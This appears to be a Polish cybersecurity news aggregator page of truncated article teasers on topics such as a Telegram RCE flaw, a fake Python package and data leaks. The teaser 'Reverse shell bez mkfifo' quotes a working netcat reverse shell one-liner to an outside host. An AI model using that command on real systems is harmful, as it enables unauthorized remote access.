Serwisy SEC

Zdalne wykonanie kodu (RCE) w kliencie Telegram dl...

1 rok temu Od kilku dni krążyły pogłoski o rzekomym ataku RCE (Remote Code Execution) w kliencie komunikatora Telegrama dla komputerów z Windows. Okazały się prawdziwe, mimo pierwotnych zaprzeczeń ze strony twórców Telegrama. Przyczyną błędu była literówka w ko...

TeleOdpowiedzialny Roku 2023. Pomagają społecznie,...

1 rok temu Firmy zostały nagrodzone za prowadzenie działań w ramach tzw. społecznej odpowiedzialności biznesu. „Wspieramy innowacyjność i wzmacnianie relacji z interesariuszami operatorów, promujemy ograniczanie negatywnego wpływu działalności przedsiębiorstw n...

#CyberMagazyn: Trening cyberbezpieczeństwa skrojon...

1 rok temu Zapewnienie **zaawansowanej ochrony systemów oraz wypracowanie solidnej strategii [cyberbezpieczeństwa**](https://cyberdefence24.pl/cyberbezpieczenstwo/cybermagazyn-zdrowie-psychiczne-wyzwania-w-pracy-w-cyberbezpieczenstwie) są w tej chwili najważnie...

Reverse shell bez mkfifo

1 rok temu J eśli kiedykolwiek próbowaliśmy stworzyć reverse shell, czy to dzięki telnet, czy OpenSSL – prawdopodobnie miały one wspólny układ: mkfifo /tmp/f; nc 1.2.3.4 31337 </tmp/f | sh >/tmp/f; rm /tmp/f Na początku tworzony jest nazwany potok FIFO za...

15 000 razy pobrano fałszywy pakiet Pythona

1 rok temu Pakiety generowane przez sztuczną inteligencję mogą być w rzeczywistości złośliwym oprogramowaniem. Sfabrykowany huggingface-cli dla Pythona pobrano aż 15 000 razy.Pusty pakiet został pobrany 15 000 razy, bo AI zmyśliło taką nazwę i uporczywie podpow...

Błąd Facebooka. Sam rozsyłał zaproszenia

1 rok temu Od 16 lutego do 24 marca Facebook sam wysyłał zaproszenia. [Meta](https://cyberdefence24.pl/biznes-i-finanse/trzesienie-ziemi-w-mecie-firma-traci-istotnego-eksperta) zaleca przejrzenie dziennika aktywności i sprawdzenie, czy padliśmy ofiarą tego błęd...

Jak powinniśmy rozumieć bezpieczeństwo aplikacji k...

1 rok temu Każda organizacja opracowująca czy wdrażająca aplikacje w swoim środowisku musi posiadać mechanizmy kontroli ich bezpieczeństwa. Jednakże przedsiębiorstwa stoją przed pewnymi...

Jak adekwatnie rozmieścić kamery wokół domu?

1 rok temu Jakie są podstawowe kroki do zapewnienia optymalnego bezpieczeństwa domu poprzez rozmieszczenie kamer? Co należy wziąć pod uwagę, decydując o lokalizacji kamer? Jakie są najlepsze praktyki, aby zminimalizować martwe pola i zapewnić wysoką jakość obra...

Aplikacja mObywatel wprowadza ePłatności

1 rok temu Koleje nowości w aplikacji mObywatel. Tym razem uruchomiono opcję ePłatności. Dzięki tej funkcji można opłacić na przykład podatki. Uwaga, nowe możliwość nie jest jednak dostępna dla wszystkich!

Powstanie nowy zespół CSIRT. Obejmie istotny sekto...

1 rok temu Ministerstwo Cyfryzacji w czwartek 11 kwietnia **[opublikowało Raport Pełnomocnika Rządu](https://cyberdefence24.pl/cyberbezpieczenstwo/polska-bedzie-bezpieczniejsza-gawkowski-o-planach-rzadu) ds. Cyberbezpieczeństwa za 2023 rok**. Z wypowiedzi wicep...

Administracja serwerami — zalety modelu outsourcin...

1 rok temu Administracja serwerami – zalety modelu outsourcingowego Outsourcing administracji serwerami oferuje firmom elastyczność, umożliwiając im skoncentrowanie się na kluczowych aspektach ich...

18 sesja linuksowa

programistamag.pl 1 rok temu Sesja linuksowa to największa w Polsce darmowa konferencja poświęcona rozwiązaniom Open Source oraz najnowszym trendom w systemach rodziny GNU/Linux organizowana przez studentów z Akademickiego Stowarzyszenia Informatycznego (https://www.facebook.com...

Nie zaszyfrowali systemu, za to wykradli dane. Kol...

1 rok temu Doniesienia o [atakach hakerskich](https://cyberdefence24.pl/cyberbezpieczenstwo/ataki-hakerskie-jaka-jest-swiadomosc-polakow) w krajach anglojęzycznych **są w ostatnim czasie dość częste**. Jednak takich przypadków mówiących o _jedynie częściowym su...

Europejskie firmy krytykują złagodzone zasady prze...

1 rok temu Deutsche Telekom, Orange, Airbus i 15 innych europejskich firm skrytykowało najnowszy projekt unijnego systemu certyfikacji cyberbezpieczeństwa (CCS), który ich zdaniem ułatwi hiperskalerom ubieganie się o unijne kontrakty na przetwarzanie w chmurze....

SECURE 2024. Nowa zimna wojna, bezpieczna AI, szan...

1 rok temu **Patronat medialny**

14 lat temu udostępnił w sieci tajne dokumenty USA...

1 rok temu Joe Biden ogłosił, iż rozważa prośbę Australii o porzucenie długotrwałych, amerykańskich wysiłków na rzecz ścigania Juliana Assange’a, założyciela WikiLeaks. Assange przed laty ujawnił w sieci liczne, poufne informacje pochodzące z rządowych dokument...

Wyciek w Microsoft. Wpadka giganta

1 rok temu [TechCrunch](https://techcrunch.com/2024/04/09/microsoft-employees-exposed-internal-passwords-security-lapse/) we wtorek poinformował, iż **wrażliwe dane Microsoftu były do pobrania w internecie.** Co najgorsze, zasób, z którego pobierano dane **był ...

Jak hakerzy ze wschodu przed wyborami ekrany w cen...

1 rok temu Nasi wschodni sąsiedzi od dawna próbują wywierać wpływ na polską politykę dzięki kampanii dezinformacyjnych. Znamy zhakowane konta w mediach społecznościowych czy skrzynki pocztowe polityków, ale zhakowane ekrany w centrum handlowym to coś nowego. Ki...

Akcja pirotechników SG na lotnisku Warszawa-Modlin...

1 rok temu W dniu 10 kwietnia 2024 roku funkcjonariusze z Interwencyjnego Zespołu Minersko – Pirotechnicznego Placówki Straży Granicznej Warszawa-Modlin otrzymali informację o porzuconej na antresoli terminala reklamówce z niewidoczną zawartością. Po sprawdzeni...

Check Point: „28% wzrost cyberataków na świecie” r...

1 rok temu 28-procentowy wzrost ataków oraz koncentracja cyberprzestępców na nauce i badaniach oraz sektorze administracyjno-wojskowym – tak wyglądał pierwszy kwartał 2024 roku w cyberprzestrzeni według ekspertów Check Point Research. Firma ostrzega przed szerz...

Pierwsza wersja „Global Digital Compact” opublikow...

1 rok temu „Naszym celem jest włączająca, otwarta, bezpieczna i chroniona przyszłość cyfrowa dla wszystkich” – czytamy w ogólnoświatowym porozumieniu cyfrowym Global Digital Compact (GDC), które opublikowało Biuro Pełnomocnika ds. Technologii ONZ.

UWAGA! CISA wydaje zalecenia w celu minimalizacji ...

1 rok temu Taktyka oraz narzędzia Living Off the Land (LOtL) cieszą się coraz większym zainteresowaniem wśród cyberprzestępców, w tym podmiotów sponsorowanych przez...

CEECloud Services Distribution (Grupa Bakotech) og...

1 rok temu Na początku kwietnia CEEcloud, spółka należąca do Grupy Bakotech, ogłosiła podpisanie kontraktu z firmą Kaseya – od wielu lat uznawaną za lidera w obszarze kompleksowych rozwiązań IT. To kolejny, bardzo istotny krok dla dystrybutora, podkreślający je...

Nowe narzędzia AI od Google. Tego jeszcze nie było...

1 rok temu Podczas konferencji Google Cloud Next 2024 w Las Vegas gigant technologiczny przedstawił nowości AI – **zarówno w istniejących już narzędziach, jak i w całkowicie nowych**. Konferencja rozpoczęła się 9 kwietnia i potrwa do czwartku 11 kwietnia.

Mowa nienawiści

1 rok temu Poniższe infografiki dotyczą mowy nienawiści. Poruszą one przede wszystkim tematy:

XV edycja Warszawskich Dni Informatyki. Święto bra...

1 rok temu **Patronat medialny**

Formularz zwrotu – gdzie musisz go zamieścić?

1 rok temu Ogrom dodatkowych obowiązków, które ustawodawca nakłada na e-sklepy może przyprawić niejednego sprzedawcę o ból głowy. Czasem sensowność nowych wymagań może budzić wątpliwości. Ten, o którym mowa poniżej jest bardzo istotny, a większość sprzedawców n...

Google Cloud Days – konferencja o bezpieczeństwie,...

programistamag.pl 1 rok temu Google Cloud Days to charytatywna konferencja budowana na praktycznym podejściu do chmury. Jej organizatorem jest partner Google Cloud – firma FOTC. Przez dwa dni warszawska siedziba Google (Warsaw HUB) stanie się miejscem wymiany myśli – dzielenia s...

Kiedy ostatnio aktualizowaliście wtyczki w WordPre...

1 rok temu Strony tworzone na platformie WordPress są stronami bezpiecznymi. Ale jednak pod warunkiem, iż ich właściciele pamiętają o aktualizacji wtyczek. Badacz cyberbezpieczeństwa, AmrAwad, wykrył niedawno kolejną podatność: krytyczną lukę we wtyczce LayerSl...

Wojsko RP. Kolejne porozumienie DKWOC

1 rok temu **[Dowództwo Komponentu Wojsk Obrony Cyberprzestrzeni](https://www.wojsko-polskie.pl/woc/) (DKWOC), strzegące bezpieczeństwa Polski w sieci, będzie bliżej współpracowało z [Centralnym Ośrodkiem Informatyki](https://www.coi.gov.pl/o-nas)**. Mówimy o w...

Atos poszukuje 600 mln euro w gotówce w ramach pla...

1 rok temu Francuska firma konsultingowa Atos musi zebrać 600 milionów euro (651 milionów dolarów) w gotówce, aby sfinansować swoją działalność w 2024 i 2025 roku, poinformowała we wtorek, przedstawiając swoje plany refinansowania. Gigant technologiczny, który ...

Od pliku PDF do infekcji – złośliwe oprogramowanie...

1 rok temu W styczniu FortiGuard Labs przeanalizowało plik PDF napisany w języku portugalskim, który rozpowszechnia wielofunkcyjne złośliwe oprogramowanie znane jako Byakugan. Podczas...

Dlaczego dzwoni do mnie spam?

1 rok temu Czy zastanawiałeś się kiedykolwiek, dlaczego otrzymujesz niechciane połączenia telefoniczne? Skąd spamerzy mają Twój numer telefonu? Jakie techniki stosują, aby skłonić Cię do odebrania połączenia? I co najważniejsze, jak możesz się przed nimi skutec...

Modele AI wektorem ataku na infrastrukturę AaaS

1 rok temu Niedawno pisaliśmy o tym, jak wykorzystanie niebezpiecznych mechanizmów serializacji może być metodą ataku na developerów. Tym razem przedstawiamy research przeprowadzony przez WIZ, który korzystając z podobnych mechanizmów umożliwia atak na infrastr...

Zmiany w Centralnym Ośrodku Informatyki. Nowa twar...

1 rok temu Postępują zmiany w instytucjach rządowych. Według informacji udostępnionych przez Annę Wittenberg, dziennikarkę z „Dziennika Gazety Prawnej” na portalu X (dawny Twitter), **[Centralny Ośrodek Informatyki](https://cyberdefence24.pl/cyberbezpieczenstwo...

Zapraszamy Was na INSECON!

1 rok temu Kongres INSECON na straży cyberbezpieczeństwa! Dzisiejsze wyzwania związane z cyberbezpieczeństwem wymagają ścisłej uwagi i zaangażowania ze strony organizacji i jednostek. W obliczu dynamicznego rozwoju technologii, cyberprzestępczość staje się cora...

Jak polskie nastolatki używają wycieków danych by ...

1 rok temu O wyciekach danych piszemy w Niebezpieczniku od 15 lat. Informowaliśmy o leakach baz danych pacjentów (i ich historii leczenia), o wyciekach wstydliwych zakupów i potężnych bazach adresów i telefonów pozyskiwanych z setek polskich sklepów internetowy...

Skrót do Map Google zniknął z wyszukiwarki?

1 rok temu Wyszukiwarka Google znów nas zaskakuje! Zniknął znany i lubiany skrót do Map Google. Dlaczego tak się stało? Gdzie można go znaleźć, aby móc korzystać z jednej z najbardziej znanych i lubianych funkcji nawigacji.

Co wydarzyło się w cyberbezpieczeństwie w zeszłym ...

1 rok temu Kiedyś co poniedziałek publikowaliśmy zwięzłe podsumowanie wydarzeń z poprzedniego tygodnia. Zrezygnowaliśmy z tego, bo z założenia sprawdzamy informacje, które prezentujemy,...

Czy rozpoznasz, na którym obrazku ukrył się groźny...

1 rok temu Chyba wszyscy już wiemy, iż niebezpieczne wirusy mogą być przesyłane do nas w mailach, w formie załączników czy linków. Cyberprzestępcy mają jednak także inne metody. Potrafią ukryć złośliwe oprogramowanie w grafikach. Czy da się rozpoznać takie obra...

Zabezpieczanie danych przy wysyłce mailowej

1 rok temu Badanie ClickMeeting pokazuje, iż tylko 20% użytkowników nie obawia się o swoje dane, a 41% czuje się bezpiecznie online. Wobec wszechobecnej technologii e-mail jako narzędzie do przesyłania dokumentów jest powszechny, oferując szybkość i wygodę. Mim...

Podatność w YubiKey Manager. Konieczna aktualizacj...

1 rok temu Yubico [poinformowało,](https://www.yubico.com/support/security-advisories/ysa-2024-01/) iż YubiKey Manager GUI działające z uprawieniami administratora pozwalało na **uruchomienie przeglądarki z tymi samymi uprawnieniami.** Ważne jest to, iż podatno...

Przełomowa decyzja niemieckiego landu. "Chcemy cyf...

1 rok temu Dyskusje dotyczące wyższości [Windowsa](https://cyberdefence24.pl/cyberbezpieczenstwo/wazne-amerykanskie-instytucje-dzialaja-na-windowsie-xp) nad Linuxem (albo na odwrót) stały się już tradycją. Szerokie stosowanie produktów oferowanych przez ameryka...

Na co uważać przy internetowych randkach? 9 zagroż...

1 rok temu Poznaj 9 zagrożeń przy randkach online i sposoby na zachowanie bezpieczeństwa i prywatności. Jak bezpiecznie randkować przez internet?

Atak hakerski na popularny sklep online. DeeZee os...

1 rok temu Tym razem celem cyberprzestępców padł internetowy [sklep DeeZee](https://deezee.pl/), który w korespondencji mailowej poinformował o naruszeniu danych i konieczności zmiany hasła przez wszystkich klientów.

Meta i Google ograniczają dostęp do informacji na ...

1 rok temu Meta i Google rzekomo ograniczają informacje na temat zdrowia reprodukcyjnego na swoich platformach w Afryce, Azji i Ameryce Łacińskiej.

Koleżka myślał, iż robi LABy z bezpieczeństwa webo...

1 rok temu Portswigger to producent chyba najbardziej znanego narzędzia do testowania bezpieczeństwa aplikacji webowych – Burp Suite. Za to znalezisko wypłacono $5000 w ramach bug bounty. Co my tu mamy? Opis zaczyna się dość nietypowo: Nie zamierzałem tego zgła...

Film z YouTube oferuje cracka za darmo? Prawie na ...

1 rok temu Chociaż statystyki wskazują, iż popularność piractwa w ostatnich latach wyraźnie spadła, kultura zdobywania gier i programów dzięki niedozwolonych metod, przez cały czas funkcjonuje. Bardzo często **trzeba się wysilić**, aby odnaleźć wiarygodne [źród...

Nowy pomysł Google. Płatna wyszukiwarka oparta o A...

1 rok temu O planach giganta technologicznego czytamy w [raporcie](https://www.ft.com/content/2f4bfeb4-6579-4819-9f5f-b3a46ff59ed1) „Financial Times”. Dziennik powołuje się na „trzy dobrze poinformowane osoby związane z Google”. Nie wiadomo, kiedy nowa wyszukiw...

Korzystasz z mobilnej bankowości? BIK wie, jak pos...

1 rok temu Trzymasz telefon prosto przed sobą, a może korzystasz z niego, leżąc w łóżku? Jak gwałtownie wciskasz klawisze, gdy dokonujesz przelewu? Czy na komputerze wykonujesz chaotyczne czy uporządkowane ruchy myszką? VeloBank dołącza do grona banków stosując...